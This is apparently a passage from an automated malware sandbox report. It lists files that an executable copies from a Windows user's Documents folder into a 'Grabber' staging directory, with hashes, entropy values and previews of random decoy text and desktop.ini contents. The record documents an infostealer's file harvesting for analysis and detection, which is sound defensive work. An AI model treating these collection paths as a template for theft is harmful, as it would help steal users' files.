Preview:	NIRMEKAMZHIQPCHHYDLDLONNDCJFTRECXCDYNWSMACINEWVUDRAWELIDKGUGOSLGTIKNJSPGIFRTNFPWDBIHISPKHOBWBMPRCMOQQAVOUVQODKWHOMRFLDKYATGCKZVKRHTCMHJJGYWRTELTQOLJXKPKLCWLNKOQBPNOJHARBPHMNOZRAICCUCIEHOFBKAUBHQNVPQAWMIZZGYXPDVFFYAGVHCILYWHPIYXMHCXNZJBHOBSYJEJJTXWKIBAQBZGNDHAWRNDJBFGUEFMOHHHXTBQHMIBGPLFFGAEFCSIDIGIIDPUHNETSAWPCSJJCDZPMLCWGKVYJOMJWFUXHEQSIPJDTRUPSCBCTYFLTMLRFJUXIBNGXSREQTWHFPIDSKBRTLLRUTFDXFIDFUXMZCFABRMLSHWFSZTZUJRPKXKHBWYAPJLBFVPDCCGSQYVSJDWWNYUXGFFAMCEWZRCITRTQVISLFKGNMRYVUJTQWJUFSLPGOANDHPJXZJWSWQJJZLPACFDBTCFPQMXOVHIOAMCIQCTLIBSRXETYYSVLPHVURWFAJBQPHFKWZOFSUIKXWOHPOJGFCCQGRXFMTCKHSWJPWBLFTLVERFEAFHASTRMUQSDEUNXGDSWWTOQTUBAZVNLXDRFCZWKUVIGVXHTLERNSTFJCPGLHSIFYNUWMACSMFBHFDCZSOPZRKQGTETMPYNUQPOTCKDJQXQUUMEWVKVIEYDAEXLRTMQQSTAVCIBCOSHDMRFFHIAQDBBMBEOMTPGHKJIAYMKMTMXYUVORUJUGSHEHFCYZUALULRJGKXINMJWUWMPZOJOUMUEFFWCKOWNLIEVQWZPJMTQVIEDAFICXPPSUGBPZSMHDQOIXNDWLCSVZUHTSHAPPFDAEETYFLSNJFPXRPZYQLZLSJQALWIOEGAOFDHHNAOIWCTFHXKZJROQRTVBGVHJKRUCGBHKRLCZODATMBGLOISTFOETTXPJOPGPPJYNFXWQFALNGZLGZVJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\LFOPODGVOH\VWDFPKGDUF.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\LIJDSFKJZG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\NIRMEKAMZH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694574194309462
Encrypted:	false
SSDEEP:	24:57msLju1di6quBsK4eI3+RkAjyMKtB/kS0G1:gmjuC1uBsNeAokAUB/GE
MD5:	78801AF1375CDD81ED0CC275FE562870
SHA1:	8ED80B60849A4665F11E20DE225B9ACB1F88D5A9
SHA-256:	44BF2D71E854D09660542648F4B41BC00C70ABA36B4C8FD76F9A8D8AB23B5276
SHA-512:	E20D16EC40FEF1A83DB1FC39A84B691870C30590FC70CA38CC83A8F08C08F626E3136ADBF3B731F85E5768561C8829C42DF3B97C726191FEF3859272A03E99E0
Malicious:	false
Preview:	NIRMEKAMZHIQPCHHYDLDLONNDCJFTRECXCDYNWSMACINEWVUDRAWELIDKGUGOSLGTIKNJSPGIFRTNFPWDBIHISPKHOBWBMPRCMOQQAVOUVQODKWHOMRFLDKYATGCKZVKRHTCMHJJGYWRTELTQOLJXKPKLCWLNKOQBPNOJHARBPHMNOZRAICCUCIEHOFBKAUBHQNVPQAWMIZZGYXPDVFFYAGVHCILYWHPIYXMHCXNZJBHOBSYJEJJTXWKIBAQBZGNDHAWRNDJBFGUEFMOHHHXTBQHMIBGPLFFGAEFCSIDIGIIDPUHNETSAWPCSJJCDZPMLCWGKVYJOMJWFUXHEQSIPJDTRUPSCBCTYFLTMLRFJUXIBNGXSREQTWHFPIDSKBRTLLRUTFDXFIDFUXMZCFABRMLSHWFSZTZUJRPKXKHBWYAPJLBFVPDCCGSQYVSJDWWNYUXGFFAMCEWZRCITRTQVISLFKGNMRYVUJTQWJUFSLPGOANDHPJXZJWSWQJJZLPACFDBTCFPQMXOVHIOAMCIQCTLIBSRXETYYSVLPHVURWFAJBQPHFKWZOFSUIKXWOHPOJGFCCQGRXFMTCKHSWJPWBLFTLVERFEAFHASTRMUQSDEUNXGDSWWTOQTUBAZVNLXDRFCZWKUVIGVXHTLERNSTFJCPGLHSIFYNUWMACSMFBHFDCZSOPZRKQGTETMPYNUQPOTCKDJQXQUUMEWVKVIEYDAEXLRTMQQSTAVCIBCOSHDMRFFHIAQDBBMBEOMTPGHKJIAYMKMTMXYUVORUJUGSHEHFCYZUALULRJGKXINMJWUWMPZOJOUMUEFFWCKOWNLIEVQWZPJMTQVIEDAFICXPPSUGBPZSMHDQOIXNDWLCSVZUHTSHAPPFDAEETYFLSNJFPXRPZYQLZLSJQALWIOEGAOFDHHNAOIWCTFHXKZJROQRTVBGVHJKRUCGBHKRLCZODATMBGLOISTFOETTXPJOPGPPJYNFXWQFALNGZLGZVJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\QFAPOWPAFG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690474000177721
Encrypted:	false
SSDEEP:	24:2OgtZqoLtXCKESzKP+tziBUswJwLVk9zxY/tks7VMejXhggCon:cLtXZEmKPopswJEqxUkp82an
MD5:	A01E6B89B2F69F2DA25CB28751A6261C
SHA1:	48C11C0BECEB053F3DB16EC43135B20360E77E9B
SHA-256:	0D0EB85E2964B5DDA19C78D11B536C72544AE51B09DBEC26E70C69ADDC7E9AA5
SHA-512:	1E335E567B7F959E7524E532E257FBC0A21818BDCE0B909F83CBBCE8013FA61A8D665D7DED0982F87B29A5A786A0EE7129792A1B2D48DD205180569D9E919059
Malicious:	false
Preview:	QFAPOWPAFGZUMXROWPODMNAMXJGGULHBVFMBDFCUTBDPEHPYKVYAURAEPYZMHPBECXOGPOKPNMKAIBYHBFNFVWPHHZFRFVAYYHSJZJTHAYESIKJCXVOVANTTAMQKCXEHJRYFSWGEELTALODIPFLWFILANHAGQENMCPNFLPAJIPRNZRAIETALHZECBIKVUBLJMHNYJXPSAMZZCVZQOHLATXYVRZQROYHFKLVOJLGRAGXLMXJHKHSSCTHDFNSLOUEZPTFGVVVGCDIXIBWQFIIFACZAYUUQZJRKZXJQPLVPFTJAMSPRDIBBPPFLUCOUPPQDSFKQXMEIFUXXAGKAWLWJPNBHZSGIAFFXPBLRMFNGMVBEWTTPFJEHMXLOZWQHEHGWBXCAMZISSZMPHUOREQDUTUEPDVLBWTFCJIFAGQOEHFIMLTDTDLYPEQZDZBBZYMKXTUKVCEROFCABVNAQXVLLCCNLEOGKLFPVSGMNNQZHFNCWNPGBCLLMTYKZMJSUDIPHSUQJQTOTICLSMQNHYJAQTVXMEZAEGNBGADHUJNJLQZSSGWRLYBWJEOTERXWRTICIVUFNKHRUSWRGABWPZDFTGSDASOKXSFUGVBUISDQNJUAOCSOANZFXTFQGDKEKGZJRMJMGTAJCTJEOCZCUZMUYKAKZZQYDRJXWZWMOXQQLWJMWAENIFMHJXMELOZTVHRLQZNWCBXKEBNUBDDOFYHNWIPPRWGDZCQLMHAOLYZIDJJXAASOVDNHNMDDCIWFPIOLQHWQCPUVUZUDVOKBMFLALCZEQWJAKTVUUDROHEKJKHQBLQZNVWSNNZFKMZLQPFYUYHNCDTCBVUUNKNZIORBFTFVKLHZTQAPWVKTTZFCTHJBBWQMZTFKADJIZZANUOLLRBSVTUCNIJWDQPYHEPWEUTFVNOACOFURIPTLDGJUOYFJRHAUIQREUKUSADZYOEDEDZRKKPKLFLFQIMMIKLOCTSOFOEZYVAGMCITCUWAOUT

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\UNKRLCVOHV.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\UNKRLCVOHV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\UNKRLCVOHV\DQOFHVHTMG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
